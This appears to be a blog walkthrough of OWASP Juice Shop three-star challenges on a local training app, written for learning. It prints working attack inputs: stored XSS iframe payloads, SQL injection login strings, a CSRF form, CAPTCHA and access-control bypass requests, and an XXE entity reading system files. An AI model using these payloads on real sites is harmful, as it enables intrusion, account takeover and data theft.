Hello!
Welcome to the fourth part of my web sec journey through Juice Shop!
Today finish the 3 star challenges and I hope it will be informative for you!
Without further ado, let’s get the hacking party started!
Goals
Today we will cover 6 categories of ⭐⭐⭐ challenges:
- Broken Anti Automation – 1
- Broken Access Control – 5
- Sensitive Data Exposure – 1
- Security through Obscurity – 1
- XSS – 2
- XXE – 1
Previous part, covering first half of the challenges and topics such as: Improter Input Validation (5), Broken Authentication (3) and Injections (3).
The goal is to cover it all with green:

So let’s start with the second cake I’ve left in the previous article – XSS.

⭐⭐⭐API-only XSS (XSS)
XSS for a warm up? Why not! We need to perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)">
without using the frontend application at all. Also, the hint tells us to work with server-side API. We are also advised to use some “HTTP verbs”
As we know from previous challenges, we have rest/products API. So we have to try interact method, with /api/products
.
I logged in with admin credentials obtained in ⭐⭐challenge:
login: admin@juice-sh.op
pass: admin123
you can also use simpler SQL injection:
login: admin@juice-sh.op’--
pass: X
Or the simplest:
login: ‘ OR true--
pass: X
Being an admin is very important for this task 😊
We can observe that Burp is sending request to api:

After changing it a little int GET /api/Products
we observe a list of products:

By putting ID directly, e.g GET /api/Products/4
we will get details for only this particular item:

We were advised to experiment with “HTTP” verbs. After hitting with request OPTIONS
/api/Products
we will receive response:
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
So I’ll try with PUT and product description😊
My request body is very simple:
{"description": "<iframe src=\"javascript:alert(`xss`)\">"}
And also, I need to add a header:
Contet-type: application/json
And after reducing some headers our requests looks perfect:

And works like a charm 😉

Note: During this one I’ve found out that for Juice Shop is extremely important for payload to be 1:1 match. I’ve spent a lot of time trying to figure out what’s wrong with my:
<iframe src=\"javascript:alert('xss')\">"}
Instead of
<iframe src=\"javascript:alert(`xss`)\">"}
So, to future me: see the difference ` vs ‘ !
⭐⭐⭐CAPTCHA Bypass
Next task is to submit 10 or more customer feedbacks within 10 seconds. We are advised to write a script that automates feedback subscription or open browser tables and be very quick. In ‘advanced’ hints, we can read:
- Investigate closely how the CAPTCHA mechanism works and try to find either a bypass or some automated way of solving it dynamically.
So, let’s investigate how captcha mechanism works here:
While entering Customer Feedback form, befor captcha loads the GET /rest/captcha
request is send.

Funny part is that we receive captcha with the correct answer:
{"captchaId":59,"captcha":"7-9+8","answer":"6"}
{"captchaId":62,"captcha":"3+1*7","answer":"10"}
Our Feedback POST contains captchaID, answer, comment and rating:

{"captchaId":67,"captcha":"19",
"comment":"fafafsfa (anonymous)","rating":2}
So lets pass it to Intruder, change the body into:
{"captchaId":67,"captcha":"19",
"comment":"§ §(anonymous)",
"rating":2}
Into payload option paste numbers from 0 to 10, start attack and :

⭐⭐⭐CSRF (Broken Access Control)
CSRF is a new thing for me. It always seems complicated, so I’ll use this one to gain some additional knowledge.
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Cross Site Request Forgery (CSRF) – OWASP
Seems very ‘high level’ to me. But diving deeper into OWASP Testing Guide:
CSRF relies on:
Web browser behavior regarding the handling of session-related information such as cookies and HTTP authentication information.
An attacker’s knowledge of valid web application URLs, requests, or functionality.
Application session management relying only on information known by the browser.
Existence of HTML tags whose presence cause immediate access to an HTTP[S] resource; for example the image tag img.
Testing for CSRF – OWASP WSTG
For more details I encourage you to read the article 😊
Coming back to the challenge, we are asked to change the name of a user by performing Cross-Site Request Forgery from another origin (which points to http://htmledit.squarefree.com/). Frontally speaking, we have to find a form which updates the username and then construct a malicious page in the Online HTML Editor .
Let’s take look on user name changing request:

As we can see, this is a simple POST /profile HTTP/1.1 with body as a key-value pair (in my case):
username=HFOC
Let’s check the online HTML editor. As you can see, we have input field above, and result just below:
With the simple code we will have a CSRF form:
<form action="http://127.0.0.1:3000/profile" method="POST">
<input name="username" value="headfullofciphers"/>
<input type="submit"/>
</form>
It should actually do the job and I was trying to troubleshoot the issue with variety of codes, but then I saw in console, there might be some error with the platform itself. I posted Issue #1421 on the juice-shop GitHub.
To solve this challenge you need much older browser, e.g. FF v. 56 and the same code 🙂
⭐⭐⭐Client-side XSS Protection (XSS)
I was a little upset after the failure above, so I’ll try to cheer myself up with a little XSS.
This one is very similar to first challenge in this post. We have to perform a persisted XSS attack with <iframe src="javascript:alert(`xss`)">
bypassing a client-side security mechanism. And we have hint that only some input fields validate their input. Even less of these are persisted in a way where their content is shown on another screen. For me, that points to register form and administration page 😉
Let’s try to register a XSS user:

Unforunately Email validation is in place 😉 We can bypass it with a little trick with burp…

We will change intercepted valid request into:
{"email":"<iframe src=\"javascript:alert(`xss`)\"> "
,"password":"12345","passwordRepeat":"12345",
"securityQuestion":{"id":1,
"question":"Your eldest siblings middle name?",
"createdAt":"2020-07-04T07:36:16.600Z",
"updatedAt":"2020-07-04T07:36:16.600Z"},
"securityAnswer":"1"}
We’ve got response HTTP/1.1 201 Created
.
Challenge is already passed, but let’s check admin page:

⭐⭐⭐Forged Feedback (Broken Access Control)
In this one we have to post some feedback in another user’s name.
As a hint we can solve this by tampering with user interface or by intercepting communication with RESTful.
Let’s make it quick but informative 😉
After inspecting the customer feedback form, we can see the html:
<div _ngcontent-baf-c128="" id="feedback-form" class="form-container">
<input _ngcontent-baf-c128="" type="text" id="userId" class="ng-pristine ng-valid ng-touched" hidden>
<mat-form-field _ngcontent-baf-c128="" appearance="outline" color="accent" class="mat-form-field ng-tns-c123-66 mat-accent mat-form-field-type-mat-input mat-form-field-appearance-outline mat-form-field-can-float mat-form-field-has-label mat-form-field-disabled ng-untouched ng-pristine mat-form-field-should-float">
Input with id="userId"
has hidden property. After deleting it we can see id field:

With request to POST /api/Feedbacks/
with body:
{"UserId":"5","captchaId":0,"captcha":"20",
"comment":"someinput (anonymous)","rating":2}
After providing input (in my case – 5) challenge is solved 😉
We can also inspect the request (without unrevealed userId
Field):
{"captchaId":1,"captcha":"6","comment":"randomtext (anonymous)","rating":2}
So adding UserID
parameter will also solve the challenge 😉
⭐⭐⭐Forged Review (Broken Access Control)
This one looks very similar to the previous one. We need to post a product review as another user or edit any user’s existing review.
Let’s take a closer look on reviews. While adding, the PUT
request is send:

After changing the request to GET /rest/products/1/reviews HTTP/1.1
we will get list of reviews with IDs:

When I tried to change my review I’ve observed PATCH /rest/products/reviews HTTP/1.1
with body:
{"id":"N6cW23ERYt5XQWCRL","message":"thisisreview2"}
We can solve this challenge by:
- edit user’s existing review with
PATCH /rest/products/reviews
(and valid review id obtaing byGET
) - post a product review as another user by
PUT
request with body e.g.:
{"message":"forged","author":"bender@juice-sh.op"}
⭐⭐⭐Login Amy (Sensitive Data Exposure)
In this challenge we have to log in with Amy’s original user credentials. Also, there is information that “This could take 93.83 billion trillion trillion centuries to brute force“, but luckily she did not read the “One Important Final Note“.
After Googling ‘One Important Final Note’ we are pointed to GRC’s | Password Haystacks: How Well Hidden is Your Needle?
Actually I wasn’t sure who Amy is so I went for more extensive hints:
- As with so many other characters from Futurama this challenge is of course about logging in as Amy from that show. In the picture above you see her together with her alien husband Kif.
So we would try some Kif-like guesses.
- Obviously, Amy – being a little dimwitted – did not put nearly enough effort and creativity into the password selection process.
The challenge description contains a few sentences which give away some information how Amy decided to strengthen her password. So we know its 93.83 billion trillion trillion centuries to brute force.
Funny fact, that D0g.....................
example from GRC’s Passwords Haystack would also take 93.83 billion trillion trillion centuries to crack – so that’s the length of the password.
Let’s try to brute force Amys credential with:
amy@juice-sh.op : Kif.....................
Nope… But the o in Dog was replaced with 0!
After try with:
amy@juice-sh.op : K1f.....................
The challenge is solved 😉
⭐⭐⭐Manipulate Basket (Broken Access Control)
In this one we have to put an additional product into another user’s shopping basket. We have to have an eye on the HTTP traffic while placing products in the shopping basket. But changing the quantity of products already in the basket doesn’t count and we need more sophisticated tampering…
Let’s have a quick look on putting item into the basket.
To put something to our basket we are using POST /api/BasketItems/
request with body:
{"ProductId":22,"BasketId":"4","quantity":1}
So my BasketId
is 4. After simple change to:
{"ProductId":22,"BasketId":"5","quantity":1}
We received HTTP/1.1 401 Unauthorized
{'error' : 'Invalid BasketId'}
But after being sneaky and changing request to:
{"ProductId":22,"BasketId":"4","quantity":1, ,"BasketId":"6"}
We have successfully manipulated basket 😊
⭐⭐⭐Privacy Policy Inspection (Security through Obscurity)
This looks like an easy category, but keep in mind that we are in ⭐⭐⭐challenges. We have to prove that you actually read our privacy policy, which can be done only by visiting a special URL that can confirm that we read it carefully.
After reading hints we are visiting Privacy policy (again).
- It is fine to use the mouse cursor to not lose sight of the paragraph you are currently reading.
We can see that some of the letter are underlined by ‘hot’ effect:

After CTRL+F through code we can see that those words are:
- http://127.0.0.1
- We may also
- instruct you
- to refuse all
- reasonably necessary
- responsibility
After checking url:
http://localhost:3000/we/may/also/instruct/you/to/refuse/all/reasonably/necessary/responsibility
Challenge is completed 😉
⭐⭐⭐Product Tampering (Broken Access Control)
In this challenge we have to Change the href of the link within the OWASP SSL Advanced Forensic Tool (O-Saft) product description into https://owasp.slack.com.
There are 3 ways to achieve it:
- Broken admin functionality
- Holes in RESTful api
- Possibility for SQL injection
I don’t want to reinvent the wheel so I’ll use same mechanism I used with XSS, so a simple PUT request to api/products
(we need to be logged in as admin).
So we do PUT /api/Products/9 HTTP/1.1
with
Content-Type: application/json
And body:
{"description": "<a href=\"https://owasp.slack.com\" target=\"_blank\">More...</a>"}
And it does the trick 😉
⭐⭐⭐XXE Data Access (XXE)
In this last challenge (finally!) we have to retrieve the content of C:\Windows\system.ini
or /etc/passwd
from the server. Also, the leverage point for this challenge is the deprecated B2B interface.
XXE is something new for me, so I went for extended hints:
- You already found the leverage point for this challenge if you solved Use a deprecated B2B interface that was not properly shut down. – yes, I did
- This challenge sounds a lot harder than it actually is, which amplifies how bad the underlying vulnerability is. – ok, great
- Doing some research on typical XEE attack patterns basically gives away the solution for free. (typo)
So I did a little research on XXE attack:
An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
OWASP – XML eXternal Entity (XXE) Processing
Also, WSTG article on Testing for XML Injections is very informative, starting from:
XML Injection testing is when a tester tries to inject an XML doc to the application. If the XML parser fails to contextually validate data, then the test will yield a positive result.
WSTG – Testing for XML Injection
And here we have very informative examples in the Discovery section:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]>
<foo>&xxe;</foo>
Which looks like created to solve this challenge.
Little change is needed in 3rd line and yes, that’s the COMPLETE SOLUTION 🙂
Conclusion
Almost all ⭐⭐⭐ challenges are done!
Note: the only one left, CSRF, requires downgrade of browser I don’t want to do – but I was able to describe solving steps and it enriched my knowledge 😉
They are really demanding so I’m little afraid of the following ones 🙂
Today my scoreboard is 44% done and that’s it for today!
I hope you enjoyed this article! If you have any questions do not hesitate to contact me!
Reference list:
- Pwning the Juice Shop
- Cross Site Request Forgery (CSRF) – OWASP
- Testing for CSRF – OWASP WSTG
- GRC’s | Password Haystacks: How Well Hidden is Your Needle?
- XML eXternal Entity (XXE) – OWASP
- Testing for XML Injection – OWASP WSTG
Check out related posts:
Leave a Reply